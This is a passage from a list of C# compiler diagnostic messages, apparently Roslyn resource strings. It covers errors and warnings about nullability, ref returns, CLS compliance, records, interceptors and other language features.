MarshalByRefObject, and the member is a value type. Objects that inherit from MarshalByRefObject are typically intended to be marshaled by reference across an application domain. If any code ever attempts to directly access the value-type member of such an object across an application domain, a runtime exception will occur. To resolve the warning, first copy the member into a local variable and call the method on that variable. + Cannot intercept call with '{0}' because it is not accessible within '{1}'. + Two indexers have different names; the IndexerName attribute must be used with the same name on every indexer within a type + Reference kind modifier of parameter doesn't match the corresponding parameter in target. + 'await' requires that the return type '{0}' of '{1}.GetAwaiter()' have suitable 'IsCompleted', 'OnCompleted', and 'GetResult' members, and implement 'INotifyCompletion' or 'ICriticalNotifyCompletion' + '{0}' is an ambiguous reference between '{1}' and '{2}' + A constructor declared in a 'struct' with parameter list must have a 'this' initializer that calls the primary constructor or an explicitly declared constructor. + Option overrides attribute given in a source file or added module + Types and aliases cannot be named 'required'. + '{0}': 'readonly' can only be used on accessors if the property or indexer has both a get and a set accessor + Circular base type dependency involving '{0}' and '{1}' + Expected identifier or numeric literal + Cannot implicitly convert type '{0}' to '{1}' + Dereference of a possibly null reference. + Unable to include XML fragment + This returns local by reference but it is not a ref local + '{0}': instance event in interface cannot have initializer + '{0}' is not a valid calling convention type for 'UnmanagedCallersOnly'. + Constructor '{0}' cannot call itself + A single-line comment may not be used in an interpolated string. + Local is returned by reference but was initialized to a value that cannot be returned by reference + A local variable or function named '{0}' is already defined in this scope + Cannot intercept: compilation does not contain a file with path '{0}'. Did you mean to use path '{1}'? + The two assemblies differ in release and/or version number. For unification to occur, you must specify directives in the application's .config file, and you must provide the correct strong name of an assembly. + Cannot modify the return value of '{0}' because it is not a variable + '{0}': base type '{1}' is not CLS-compliant + Required member '{0}' must be assigned a value, it cannot use a nested member or collection initializer. + Top-level statements must precede namespace and type declarations. + Partial method declarations '{0}' and '{1}' have signature differences. + Source file can not contain both file-scoped and normal namespace declarations. + Cannot assign to '{0}' because it is read-only + using type alias + Parameter {0} is declared as type '{1}{2}' but should be '{3}{4}' + Error reading file '{0}' specified for the named argument '{1}' for PermissionSet attribute: '{2}' + An expression tree may not contain a switch expression. + A constraint clause has already been specified for type parameter '{0}'. All of the constraints for a type parameter must be specified in a single where clause. + 'static' modifier must precede 'unsafe' modifier. + with on anonymous types + Cannot await 'void' + Cannot return local '{0}' by reference because it is not a ref local + The constructor call needs to be dynamically dispatched, but cannot be because it is part of a constructor initializer. Consider casting the dynamic arguments. + Cannot infer the type of implicitly-typed out variable '{0}'. + Cannot embed interop types from assembly '{0}' because it is missing the '{1}' attribute. + The #line span directive requires space before the first parenthesis, before the character offset, and before the file name + object initializer + Implicitly-typed variables cannot have multiple declarators + Cannot return {0} '{1}' by writable reference because it is a readonly variable + A namespace cannot directly contain members such as fields, methods or statements + Member modifier '{0}' must precede the member type and name + The switch expression does not handle all possible values of its input type (it is not exhaustive). + Intercepting a call to '{0}' with interceptor '{1}', but the signatures do not match. + } expected + Empty switch block + Named attribute argument expected + The input string cannot be converted into the equivalent UTF-8 byte representation. {0} + The parameter has multiple distinct default values. + Argument of type '{0}' is not applicable for the DefaultParameterValue attribute + User-defined conversion must convert to or from the enclosing type + Use of possibly unassigned field + Struct member '{0}' of type '{1}' causes a cycle in the struct layout + Constraint type is not CLS-compliant + parenthesized pattern + Cannot apply attribute class '{0}' because it is abstract + This returns a member of local '{0}' by reference but it is not a ref local + The given expression always matches the provided constant. + '{0}' must declare a body because it is not marked abstract, extern, or partial + Unreachable code detected + '{0}' cannot implement interface member '{1}' in type '{2}' because feature '{3}' is not available in C# {4}. Please use language version '{5}' or greater. + Ref field '{0}' should be ref-assigned before use. + Possible null reference assignment. + record structs + This async method lacks 'await' operators and will run synchronously. Consider using the 'await' operator to await non-blocking API calls, or 'await Task.Run(...)' to do CPU-bound work on a background thread. + The contextual keyword 'var' cannot be used as an explicit lambda return type + init-only setters + The range variable '{0}' cannot have the same name as a method type parameter + The type '{0}' has no constructors defined + anonymous method + Expected a script (.csx file) but none specified + Only a single partial type declaration may have a parameter list + Slice patterns may not be used for a value of type '{0}'. + This returns a parameter by reference but it is not a ref parameter + nullable types + '{0}' requires compiler feature '{1}', which is not supported by this version of the C# compiler. + The primary constructor conflicts with the synthesized copy constructor. + Ignoring /noconfig option because it was specified in a response file + nullable reference types + Deconstruction 'var (...)' form disallows a specific type for 'var'. + The line number specified for #line directive is missing or invalid + Badly formed XML file "{0}" cannot be included + Unable to load Analyzer assembly {0} : {1} + User-defined operator '{0}' must be declared static and public + Declaration is not valid; use '{0} operator <dest-type> (...' instead + '{0}': static types cannot be used as return types + '{0}' should not have a params parameter since '{1}' does not + Local '{0}' is returned by reference but was initialized to a value that cannot be returned by reference + Control is returned to caller before field is explicitly assigned, causing a preceding implicit assignment of 'default'. + Cannot create temporary file -- {0} + The best overload for '{0}' does not have a parameter named '{1}' + Type parameter '{0}' has the same name as the containing type, or method + Member hides inherited member; missing new keyword + A partial method must be declared within a partial type + The type '{1}' in '{0}' conflicts with the imported namespace '{3}' in '{2}'. Using the type defined in '{0}'. + The namespace '{1}' in '{0}' conflicts with the imported type '{3}' in '{2}'. Using the namespace defined in '{0}'. + The best overloaded Add method '{0}' for the collection initializer has some invalid arguments + An expression of type '{0}' can never match the provided pattern. + List patterns may not be used for a value of type '{0}'. No suitable 'Length' or 'Count' property was found. + Array creation must have array size or array initializer + tuple equality + Type parameter '{0}' has no matching typeparam tag in the XML comment on '{1}' (but other type parameters do) + Cannot intercept: Path '{0}' is unmapped. Expected mapped path '{1}'. + An in parameter cannot have the Out attribute. + Assignment in conditional expression is always constant; did you mean to use == instead of = ? + Error reading Win32 manifest file '{0}' -- '{1}' + An expression tree may not contain an interpolated string handler conversion. + The branches of the ref conditional operator refer to variables with incompatible declaration scopes + Attribute '{0}' from module '{1}' will be ignored in favor of the instance appearing in source + Cannot assign {0} to a range variable + A params parameter must be the last parameter in a parameter list + Matching the tuple type '{0}' requires '{1}' subpatterns, but '{2}' subpatterns are present. + A throw statement with no arguments is not allowed in a finally clause that is nested inside the nearest enclosing catch clause + Auto-implemented 'set' accessor '{0}' cannot be marked 'readonly'. + Tuple must contain at least two elements. + The type '{0}' may not be used as a type argument + foreach statement cannot operate on variables of type '{0}' because '{0}' does not contain a public instance or extension definition for '{1}'. Did you mean 'await foreach' rather than 'foreach'? + File name '{0}' is empty, contains invalid characters, has a drive specification without an absolute path, or is too long + This ref-assigns '{1}' to '{0}' but '{1}' has a wider value escape scope than '{0}' allowing assignment through '{0}' of values with narrower escapes scopes than '{1}'. + Nullability of reference types in type of parameter doesn't match overridden member. + Target runtime doesn't support 'protected', 'protected internal', or 'private protected' accessibility for a member of an interface. + Interop type '{0}' cannot be embedded because it is missing the required '{1}' attribute. + Async lambda expression converted to a '{0}' returning delegate cannot return a value + unmanaged generic type constraints + The annotation for nullable reference types should only be used in code within a '#nullable' annotations context. Auto-generated code requires an explicit '#nullable' directive in source. + The language name '{0}' is invalid. + Cannot use more than one type in a for, using, fixed, or declaration statement + Range variable '{0}' cannot be assigned to -- it is read only + '{0}' does not contain a constructor that takes {1} arguments + Assembly culture strings may not contain embedded NUL characters. + Unexpected parameter list. + A module initializer must be an ordinary member method + A fixed field must not be a ref field. + constant interpolated strings + '{0}': cannot specify both a constraint class and the 'unmanaged' constraint + Cannot use variable '{0}' in this context because it may expose referenced variables outside of their declaration scope + It is not legal to use nullable type '{0}?' in a pattern; use the underlying type '{0}' instead. + A static virtual or abstract interface member can be accessed only on a type parameter. + Both partial method declarations must use a params parameter or neither may use a params parameter + '{0}' in explicit interface declaration is not found among members of the interface that can be implemented + The type '{1}' in '{0}' conflicts with the imported type '{3}' in '{2}'. Using the type defined in '{0}'. + Explicit application of 'System.Runtime.CompilerServices.NullableAttribute' is not allowed. + Array elements cannot be of type '{0}' + Modifiers cannot be placed on event accessor declarations + '{0}' does not implement interface member '{1}'. '{2}' cannot implicitly implement an inaccessible member. + Base class '{0}' must come before any interfaces + Conditional expression is not valid in language version {0} because a common type was not found between '{1}' and '{2}'. To use a target-typed conversion, upgrade to language version {3} or greater. + Conflicting options specified: Win32 resource file; Win32 manifest + Iterators cannot have pointer type parameters + CallerMemberNameAttribute cannot be applied because there are no standard conversions from type '{0}' to type '{1}' + Cannot return by reference a member of parameter '{0}' because it is not a ref or out parameter + (Location of symbol related to previous error) + stdin argument '-' is specified, but input has not been redirected from the standard input stream. + Cannot yield a value in the body of a catch clause + Nullability of reference types in return type doesn't match implicitly implemented member (possibly because of nullability attributes). + Since this is an async method, the return expression must be of type '{0}' rather than '{1}' + { or ; expected + Keyword 'this' is not valid in a static property, static method, or static field initializer + Parameter has params modifier in lambda but not in target delegate type. + Interface member '{0}' does not have a most specific implementation. Neither '{1}', nor '{2}' are most specific. + optional parameter + Invalid search path specified + Cannot return 'this' by reference. + Cannot find the interop type that matches the embedded interop type '{0}'. Are you missing an assembly reference? + This warning occurs if the assembly attributes AssemblyKeyFileAttribute or AssemblyKeyNameAttribute found in source conflict with the /keyfile or /keycontainer command line option or key file name or key container specified in the Project Properties. + This warning indicates that an attribute, such as InternalsVisibleToAttribute, was not specified correctly. + pointer + A declaration of a by-reference variable must have an initializer + 'MethodImplOptions.Synchronized' cannot be applied to an async method + Cannot return a parameter by reference '{0}' because it is not a ref parameter + '{0}' is not a valid function pointer return type modifier. Valid modifiers are 'ref' and 'ref readonly'. + Argument {0} may not be passed with the 'ref' keyword in language version {1}. To pass 'ref' arguments to 'in' parameters, upgrade to language version {2} or greater. + Invalid object creation + Parameter must have a non-null value when exiting because parameter referenced by NotNullIfNotNull is non-null. + Elements defined in a namespace cannot be explicitly declared as private, protected, protected internal, or private protected + One of the parameters of a binary operator must be the containing type, or its type parameter constrained to it. + The /moduleassemblyname option may only be specified when building a target type of 'module' + Nullability of reference types in return type of '{0}' doesn't match the target delegate '{1}' (possibly because of nullability attributes). + Type parameter '{0}' inherits conflicting constraints '{1}' and '{2}' + Resource identifier '{0}' has already been used in this assembly + Default parameter value for '{0}' must be a compile-time constant + Program does not contain a static 'Main' method suitable for an entry point + Cannot return primary constructor parameter '{0}' by reference. + Record member '{0}' may not be static. + This error occurs when a predefined system type such as System.Int32 is found in two assemblies. One way this can happen is if you are referencing mscorlib or System.Runtime.dll from two different places, such as trying to run two versions of the .NET Framework side-by-side. + Cannot return by reference a member of '{0}' because it was initialized to a value that cannot be returned by reference + Required member '{0}' cannot be hidden by '{1}'. + Methods with variable arguments are not CLS-compliant + Use Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal to create numeric literal tokens. + Both partial method declarations must be static or neither may be static + '{0}' is not a reference type as required by the lock statement + '{0}' does not implement the '{1}' pattern. '{2}' is not a public instance or extension method. + Asynchronous foreach statement cannot operate on variables of type '{0}' because it implements multiple instantiations of '{1}'; try casting to a specific interface instantiation + Ref field should be ref-assigned before use. + A static readonly field cannot be returned by writable reference + Asynchronous foreach statement cannot operate on variables of type '{0}' because '{0}' does not contain a public instance or extension definition for '{1}'. Did you mean 'foreach' rather than 'await foreach'? + An 'implicit' user-defined conversion operator cannot be declared checked + CLS-compliant interfaces must have only CLS-compliant members + Added modules must be marked with the CLSCompliant attribute to match the assembly + '{0}': a parameter, local variable, or local function cannot have the same name as a method type parameter + Return type is not CLS-compliant + Error opening icon file {0} -- {1} + '{0}' cannot implement interface member '{1}' in type '{2}' because it has an __arglist parameter + The loaded assembly references .NET Framework, which is not supported. + This combination of arguments to '{0}' may expose variables referenced by parameter '{1}' outside of their declaration scope + Cannot infer the type of implicitly-typed deconstruction variable '{0}'. + Member cannot be used in this attribute. + Constraints for override and explicit interface implementation methods are inherited from the base method, so they cannot be specified directly, except for either a 'class', or a 'struct' constraint. + Invalid filename specified for preprocessor directive + Struct primary constructor parameter '{0}' of type '{1}' causes a cycle in the struct layout + '{0}' is defined in assembly '{1}'. + A '{0}' character must be escaped (by doubling) in an interpolated string. + Converting method group '{0}' to non-delegate type '{1}'. Did you intend to invoke the method? + extension method + Expression does not have a name. + Interceptor must have a 'this' parameter matching parameter '{0}' on '{1}'. + Unexpected error writing debug information -- '{0}' + Compilation (C#): + Type is not CLS-compliant + Cannot convert to static type '{0}' + Type has no accessible constructors which use only CLS-compliant types + A member is returned by reference but was initialized to a value that cannot be returned by reference + '{0}' cannot be marked as CLS-compliant because it is a member of non-CLS-compliant type '{1}' + Filter expression is a constant 'false', consider removing the catch clause + anonymous types + The constant '{0}' cannot be marked static + The property or indexer '{0}' cannot be used in this context because it lacks the get accessor + Auto-implemented instance properties in readonly structs must be readonly. + A generic task-like return type was expected, but the type '{0}' found in 'AsyncMethodBuilder' attribute was not suitable. It must be an unbound generic type of arity one, and its containing type (if any) must be non-generic. + Instance properties in interfaces cannot have initializers. + Specified language version '{0}' cannot have leading zeroes + Module initializer cannot be attributed with 'UnmanagedCallersOnly'. + Error opening response file '{0}' + The best overloaded Add method for the collection initializer element is obsolete + Nullability of reference types in type of parameter doesn't match the target delegate (possibly because of nullability attributes). + sealed ToString in record + Inconsistent accessibility: return type '{1}' is less accessible than operator '{0}' + Unused extern alias. + Reference to an implicitly-typed out variable '{0}' is not permitted in the same argument list. + Missing partial modifier on declaration of type '{0}'; another partial declaration of this type exists + Cannot convert expression to '{0}' because it is not an assignable variable + '{0}': cannot override because '{1}' does not have an overridable set accessor + Pattern missing + The extern alias '{0}' was not specified in a /reference option + '{0}' is not a recognized attribute location. Valid attribute locations for this declaration are '{1}'. All attributes in this block will be ignored. + __arglist cannot have an argument of void type + Parameter {0} must be declared with the '{1}' keyword + Interface '{0}' has an invalid source interface which is required to embed event '{1}'. + The best overloaded method match '{0}' for the collection initializer element cannot be used. Collection initializer 'Add' methods cannot have ref or out parameters. + Type is for evaluation purposes only and is subject to change or removal in future updates. + The '&' operator should not be used on parameters or local variables in async methods. + '{0}': no suitable method found to override + <path list> + Cannot modify members of '{0}' because it is a '{1}' + '{0}': only CLS-compliant members can be abstract + Unnecessary using directive + Cannot link resource files when building a module + <global namespace> + Circular constraint dependency involving '{0}' and '{1}' + '{0}' defines operator == or operator != but does not override Object.GetHashCode() + Supported language versions: + The name '_' refers to the constant, not the discard pattern. Use 'var _' to discard the value, or '@_' to refer to a constant by that name. + One of the parameters of a binary operator must be the containing type + '{0}' does not implement '{1}' + Cannot access protected member '{0}' via a qualifier of type '{1}'; the qualifier must be of type '{2}' (or derived from it) + Raw string literals are not allowed in preprocessor directives. + Missing compiler required member '{0}.{1}' + Assembly and module attributes are not allowed in this context + Single-line comment or end-of-line expected + Member does not hide an inherited member; new keyword is not required + The CollectionBuilderAttribute builder type must be a non-generic class or struct. + Structs without explicit constructors cannot contain members with initializers. + '{0}': static classes cannot be used as constraints + The return type of an async method must be void, Task, Task<T>, a task-like type, IAsyncEnumerable<T>, or IAsyncEnumerator<T> + XML comment has cref attribute '{0}' that could not be resolved + The type name '{0}' could not be found in the namespace '{1}'. This type has been forwarded to assembly '{2}' Consider adding a reference to that assembly. + Method '{0}' specifies a 'class' constraint for type parameter '{1}', but corresponding type parameter '{2}' of overridden or explicitly implemented method '{3}' is not a reference type. + Foreach cannot operate on a '{0}'. Did you intend to invoke the '{0}'? + A reference to a volatile field will not be treated as volatile + Accessing a member on a field of a marshal-by-reference class may cause a runtime exception + Field cannot have void type + Possible method name '{0}' cannot be intercepted because it is not being invoked. + Base type is not CLS-compliant + Members of primary constructor parameter '{0}' of a readonly type cannot be modified (except in init-only setter of the type or a variable initializer) + Extension methods must be defined in a top level static class; {0} is a nested class + The calling convention of '{0}' is not supported by the language. + Module '{0}' is already defined in this assembly. Each module must have a unique filename. + Attributes are not valid in this context. + fixed size buffers + Semicolon after method or accessor block is not valid + Members of {0} '{1}' cannot be used as a ref or out value because it is a readonly variable + User-defined operator '{0}' cannot be declared checked + Embedding the interop type '{0}' from assembly '{1}' causes a name clash in the current assembly. Consider setting the 'Embed Interop Types' property to false. + Methods with variable arguments are not CLS-compliant + '{0}': accessibility modifiers on accessors may only be used if the property or indexer has both a get and a set accessor + Cannot define a class or member that utilizes 'dynamic' because the compiler required type '{0}' cannot be found. Are you missing a reference? + The modifier 'abstract' is not valid on fields. Try using a property instead. + A copy constructor '{0}' must be public or protected because the record is not sealed. + switch on boolean type + The result of the expression is always 'null' of type '{0}' + Nullability of reference types in type of parameter '{0}' doesn't match partial method declaration. + CLSCompliant attribute has no meaning when applied to return types + Cannot convert {0} to intended delegate type because some of the return types in the block are not implicitly convertible to the delegate return type + Missing XML comment for publicly visible type or member '{0}' + Member '{0}' implements interface member '{1}' in type '{2}'. There are multiple matches for the interface member at run-time. It is implementation dependent which method will be called. + The compiler emits this warning when it overrides an error with a warning. For information about the problem, search for the error code mentioned. + using variable + The new() constraint must be the last constraint specified + '{0}' is already listed in the interface list on type '{2}' with different tuple element names, as '{1}'. + Argument of type '{0}' cannot be used as an output of type '{1}' for parameter '{2}' in '{3}' due to differences in the nullability of reference types. + ref fields + Field '{0}' is never assigned to, and will always have its default value {1} + Friend assembly reference '{0}' is invalid. Strong-name signed assemblies must specify a public key in their InternalsVisibleTo declarations. + Type is not CLS-compliant because base interface is not CLS-compliant + Type '{1}' already defines a member called '{0}' with the same parameter types + <!-- Badly formed XML comment ignored for member "{0}" --> + Inline array struct must not have explicit layout. + Cannot convert anonymous method block without a parameter list to delegate type '{0}' because it has one or more out parameters + Nullability of type of parameter '{0}' doesn't match overridden member (possibly because of nullability attributes). + Attribute '{0}' is only valid on methods or attribute classes + Inline array length must be greater than 0. + Keyword 'void' cannot be used in this context + The switch expression does not handle some null inputs (it is not exhaustive). For example, the pattern '{0}' is not covered. However, a pattern with a 'when' clause might successfully match this value. + 'Inline arrays' language feature is not supported for inline array types with element field which is either a 'ref' field, or has type that is not valid as a type argument. + The namespace '{1}' already contains a definition for '{0}' + items: must be non-empty + extern local functions + Expected identifier or numeric literal. + XML comment on '{1}' has a paramref tag for '{0}', but there is no parameter by that name + Overloadable unary operator expected + This returns by reference a member of parameter '{0}' that is not a ref or out parameter + Cannot do non-virtual member lookup in '{0}' because it is a type parameter + A property subpattern requires a reference to the property or field to be matched, e.g. '{{ Name: {0} }}' + Module name '{0}' stored in '{1}' must match its filename. + Cannot convert null literal to non-nullable reference type. + Using '{0}' as a ref or out value or taking its address may cause a runtime exception because it is a field of a marshal-by-reference class + The specified version string '{0}' does not conform to the recommended format - major.minor.build.revision + This returns by reference a member of parameter that is not a ref or out parameter + '{0}': array elements cannot be of static type + constructor + SyntaxTree is not part of the compilation, so it cannot be removed + Type of conditional expression cannot be determined because there is no implicit conversion between '{0}' and '{1}' + Cannot assign to '{0}' because it is a '{1}' + The event '{0}' can only appear on the left hand side of += or -= (except when used from within the type '{1}') + The property or indexer '{0}' cannot be used in this context because the set accessor is inaccessible + The 'scoped' modifier of parameter '{0}' doesn't match target '{1}'. + {0} is not a valid C# conversion expression + Named argument '{0}' specifies a parameter for which a positional argument has already been given + Cannot convert method group '{0}' to non-delegate type '{1}'. Did you intend to invoke the method? + Ignoring /win32manifest for module because it only applies to assemblies + foreach requires that the return type '{0}' of '{1}' must have a suitable public 'MoveNext' method and public 'Current' property + (Location of symbol related to previous warning) + Array initializers can only be used in a variable or field initializer. Try using a new expression instead. + <null> + <text> + default type parameter constraints + Ref mismatch between '{0}' and delegate '{1}' + '{0}': cannot override because '{1}' is not a function + implicitly typed local variable + Record member '{0}' must be a readable instance property or field of type '{1}' to match positional parameter '{2}'. + '{0}' cannot implement interface member '{1}' in type '{2}' because the target runtime doesn't support default interface implementation. + Inline array struct must declare one and only one instance field. + Predefined type '{0}' must be a struct. + An inline array access may not have a named argument specifier + implicitly typed array + Use Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Identifier or Microsoft.CodeAnalysis.CSharp.SyntaxFactory.VerbatimIdentifier to create identifier tokens. + Keyword 'delegate' cannot be used as a constraint. Did you mean 'System.Delegate'? + '{0}': type used in a using statement must be implicitly convertible to 'System.IDisposable'. + Possible unintended reference comparison; to get a value comparison, cast the left hand side to type '{0}' + Invalid rank specifier: expected ',' or ']' + Property accessor already defined + Cannot initialize an implicitly-typed variable with an array initializer + Newline in constant + Expected 'warnings', 'annotations', or end of directive + An analyzer instance cannot be created + The body of '{0}' cannot be an iterator block because '{1}' is not an iterator interface type + The expression being assigned to '{0}' must be constant + Array size cannot be specified in a variable declaration (try initializing with a 'new' expression) + Filter expression is a constant 'false'. + '{0}': abstract event cannot have initializer + Multiple assemblies with equivalent identity have been imported: '{0}' and '{1}'. Remove one of the duplicate references. + '{0}': type used in a using statement must be implicitly convertible to 'System.IDisposable'. Did you mean 'await using' rather than 'using'? + The type '{1}' in '{0}' conflicts with the namespace '{3}' in '{2}' + The input always matches the provided pattern. + Parameter '{0}' is captured into the state of the enclosing type and its value is also used to initialize a field, property, or event. + The CallerLineNumberAttribute will have no effect because it applies to a member that is used in contexts that do not allow optional arguments + Type expected + Position must be within span of the syntax tree. + module initializers + An expression tree may not contain a multidimensional array initializer + The target runtime doesn't support extensible or runtime-environment default calling conventions. + InterpolatedStringHandlerArgument has no effect when applied to lambda parameters and will be ignored at the call site. + Interfaces cannot contain instance fields + Cannot return '{0}' by reference because it was initialized to a value that cannot be returned by reference + A global using directive must precede all non-global using directives. + Unexpected use of an aliased name + A parameter array cannot be used with 'this' modifier on an extension method + The call to method '{0}' needs to be dynamically dispatched, but cannot be because it is part of a base access expression. Consider casting the dynamic arguments or eliminating the base access. + An auto-implemented property must be fully assigned before control is returned to the caller. Consider updating the language version to auto-default the property. + '{0}': a type cannot be both static and sealed + Partial declarations of '{0}' must be all classes, all record classes, all structs, all record structs, or all interfaces + extension GetEnumerator + The type name '{0}' only contains lower-cased ascii characters. Such names may become reserved for the language. + CLS-compliant field '{0}' cannot be volatile + This version of '{0}' cannot be used with collection expressions. + Expected contextual keyword 'equals' + 'id#' syntax is no longer supported. Use '$id' instead. + The provided line and character number does not refer to the start of token '{0}'. Did you mean to use line '{1}' and character '{2}'? + The entry point of the program is global code; ignoring entry point + Nullability of reference types in type of parameter '{0}' of '{1}' doesn't match implicitly implemented member '{2}'. + Field is never used + Object '{0}' can be disposed more than once. + An expression tree may not contain a tuple == or != operator + '{0}' does not implement interface member '{1}'. '{2}' cannot implement '{1}' because it does not have matching return by reference. + '{0}' cannot be used as a modifier on a function pointer parameter. + Fixed size buffers can only be accessed through locals or fields + XML comment on '{1}' has a typeparamref tag for '{0}', but there is no type parameter by that name + One of the parameters of an equality, or inequality operator declared in interface '{0}' must be a type parameter on '{0}' constrained to '{0}' + raw string literals + target-typed conditional expression + async method builder override + Within cref attributes, nested types of generic types should be qualified + An expression tree may not contain a named argument specification + Invalid target type for /target: must specify 'exe', 'winexe', 'library', or 'module' + A static readonly field cannot be assigned to (except in a static constructor or a variable initializer) + Member '{0}' cannot be accessed with an instance reference; qualify it with a type name instead + Possibly incorrect assignment to local which is the argument to a using or lock statement + Required member '{0}' should not be attributed with 'ObsoleteAttribute' unless the containing type is obsolete or all constructors are obsolete. + A static anonymous function cannot contain a reference to '{0}'. + Control cannot leave the body of a finally clause + Parameter '{0}' is captured into the state of the enclosing type and its value is also passed to the base constructor. The value might be captured by the base class as well. + Syntax node is not within syntax tree + By-reference returns may only be used in methods that return by reference + Possible null reference return. + The type '{3}' cannot be used as type parameter '{2}' in the generic type or method '{0}'. Nullability of type argument '{3}' doesn't match constraint type '{1}'. + The given expression always matches the provided pattern. + The type '{0}' cannot be declared const + Do not compare function pointer values + Async methods cannot have ref, in or out parameters + Control cannot fall out of switch from final case label ('{0}') + The using directive for '{0}' appeared previously in this namespace + Property, indexer, or event '{0}' is not supported by the language; try directly calling accessor method '{1}' + Property, indexer, or event '{0}' is not supported by the language; try directly calling accessor methods '{1}' or '{2}' + '{0}': user-defined conversions to or from an interface are not allowed + Do not use refout when using refonly. + Cannot use ref, out, or in parameter '{0}' inside an anonymous method, lambda expression, query expression, or local function + The result of the expression is always 'null' + Failed to emit module '{0}': {1} + throw expression + Method '{0}' cannot implement interface accessor '{1}' for type '{2}'. Use an explicit interface implementation. + local function attributes + Alias '{0}' conflicts with {1} definition + '{0}' does not contain a definition for '{1}' + Integral constant is too large + Could not find file. + A declaration is not allowed in this context. + A void or int returning entry point cannot be async + XML comment has a typeparamref tag, but there is no type parameter by that name + Local name is too long for PDB + The Guid attribute must be specified with the ComImport attribute + Nullability of reference types in type of parameter '{0}' doesn't match overridden member. + Cannot yield a value in the body of a try block with a catch clause + Explicit interface implementation matches more than one interface member + Cannot specify /main if building a module or library + Cannot use a collection of dynamic type in an asynchronous foreach + Nullability of reference types in return type doesn't match implicitly implemented member. + Type is for evaluation purposes only and is subject to change or removal in future updates. Suppress this diagnostic to proceed. + static anonymous function + Argument {0} should be passed with 'ref' or 'in' keyword + An expression of type '{0}' is not allowed in a subsequent from clause in a query expression with source type '{1}'. Type inference failed in the call to '{2}'. + null propagating operator + Assemblies '{0}' and '{1}' refer to the same metadata but only one is a linked reference (specified using /link option); consider removing one of the references. + covariant returns + covariant + Unexpected argument list. + Members named 'Clone' are disallowed in records. + Fixed size buffer fields may only be members of structs + An expression tree may not contain a tuple conversion. + Line does not start with the same whitespace as the closing line of the raw string literal. + static abstract members in interfaces + Cannot read config file '{0}' -- '{1}' + Invocation of implicit Index Indexer cannot name the argument. + Async lambda expressions cannot be converted to expression trees + Type parameter '{1}' has the 'struct' constraint so '{1}' cannot be used as a constraint for '{0}' + instance member in 'nameof' + Predefined type '{0}' is not defined or imported + The operation may overflow '{0}' at runtime (use 'unchecked' syntax to override) + A possible null value may not be used for a type marked with [NotNull] or [DisallowNull] + The 'init' accessor is not valid on static members + Type argument cannot be null + An extern alias declaration must precede all other elements defined in the namespace + Invalid option '{0}' for /platform; must be anycpu, x86, Itanium, arm, arm64 or x64 + The argument to the '{0}' attribute must be a valid identifier + ref for-loop variables + The CallerMemberNameAttribute applied to parameter '{0}' will have no effect. It is overridden by the CallerFilePathAttribute. + Elements of an inline array type can be accessed only with a single argument implicitly convertible to 'int', 'System.Index', or 'System.Range'. + Inconsistent accessibility: return type '{1}' is less accessible than delegate '{0}' + Security attribute '{0}' cannot be applied to an Async method. + Assembly and module attributes must precede all other elements defined in a file except using clauses and extern alias declarations + Type cannot be used in this context because it cannot be represented in metadata. + A reference was created to embedded interop assembly because of an indirect assembly reference + Struct member returns 'this' or other instance members by reference + Unmanaged type '{0}' is only valid for fields. + Output directory could not be determined + Multi-line raw string literals must contain at least one line of content. + The second operand of an 'is' or 'as' operator may not be static type '{0}' + Overloaded unary operator '{0}' takes one parameter + Unsafe type '{0}' cannot be used in object creation + Line and character numbers provided to InterceptsLocationAttribute must be positive. + Parentheses are required around the switch governing expression. + Use of unassigned out parameter '{0}' + contravariant + Parameter '{0}' is unread. + The Conditional attribute is not valid on interface members + Cannot modify the result of an unboxing conversion + ref and out are not valid in this context + End tag '{0}' does not match the start tag '{1}'. + The right hand side of a fixed statement assignment may not be a cast expression + ref extension methods + Members of readonly field '{0}' cannot be modified (except in a constructor or a variable initializer) + Assuming assembly reference '{0}' used by '{1}' matches identity '{2}' of '{3}', you may need to supply runtime policy + Tuple types used as operands of an == or != operator must have matching cardinalities. But this operator has tuple types of cardinality {0} on the left and {1} on the right. + SecurityAction value '{0}' is invalid for security attributes applied to an assembly + '{0}' does not override expected method from 'object'. + The range variable '{0}' conflicts with a previous declaration of '{0}' + extension GetAsyncEnumerator + The type '{2}' must be a non-nullable value type, along with all fields at any level of nesting, in order to use it as parameter '{1}' in the generic type or method '{0}' + The type or namespace name '{0}' could not be found (are you missing a using directive or an assembly reference?) + Expected contextual keyword 'on' + Expected contextual keyword 'by' + The type '{3}' cannot be used as type parameter '{2}' in the generic type or method '{0}'. There is no boxing conversion from '{3}' to '{1}'. + Extension method must be static + Invalid return type in XML comment cref attribute + '{0}' is obsolete: '{1}' + The assembly {0} does not contain any analyzers. + The body of an async-iterator method must contain a 'yield' statement. + covariantly + A reference was created to embedded interop assembly '{0}' because of an indirect reference to that assembly created by assembly '{1}'. Consider changing the 'Embed Interop Types' property on either assembly. + Source file has exceeded the limit of 16,707,565 lines representable in the PDB; debug information will be incorrect + collection + Do not use 'System.Runtime.CompilerServices.DynamicAttribute'. Use the 'dynamic' keyword instead. + '{0}' cannot be marked as CLS-compliant because the assembly does not have a CLSCompliant attribute + Cannot ref-assign '{1}' to '{0}' because '{1}' can only escape the current method through a return statement. + Provided language version is unsupported or invalid: '{0}'. + Expression or declaration statement expected. + The 'scoped' modifier of parameter '{0}' doesn't match partial method declaration. + Property or indexer '{0}' cannot be assigned to -- it is read only + The return type of a method, delegate, or function pointer cannot be '{0}' + Identifier or a simple member access expected. + This returns local '{0}' by reference but it is not a ref local + Analyzer reference specified multiple times + Partial method declarations have inconsistent nullability in constraints for type parameter + Inconsistent accessibility: field type '{1}' is less accessible than field '{0}' + The /pdb option requires that the /debug option also be used + 'is' expression's given expression is always of the provided type + A global using directive cannot be used in a namespace declaration. + #pragma + Type '{0}' must be public to be used as a calling convention. + Required member '{0}' must be settable. + Each linked resource and module must have a unique filename. Filename '{0}' is specified more than once in this assembly + Call System.IDisposable.Dispose() on allocated instance before all references to it are out of scope + Cannot specify 'readonly' modifiers on both accessors of property or indexer '{0}'. Instead, put a 'readonly' modifier on the property itself. + obsolete on property accessor + Interpolated string handler method '{0}' has inconsistent return type. Expected to return '{1}'. + An expression tree lambda may not contain a COM call with ref omitted on arguments + The params parameter cannot be declared as {0} + Type and identifier are both required in a foreach statement + Argument {0}: cannot convert from '{1}' to '{2}' + Named argument specifications must appear after all fixed arguments have been specified. Please use language version {0} or greater to allow non-trailing named arguments. + String must start with quote character: " + The constraints for type parameter '{0}' of method '{1}' must match the constraints for type parameter '{2}' of interface method '{3}'. Consider using an explicit interface implementation instead. + Cannot return the range variable 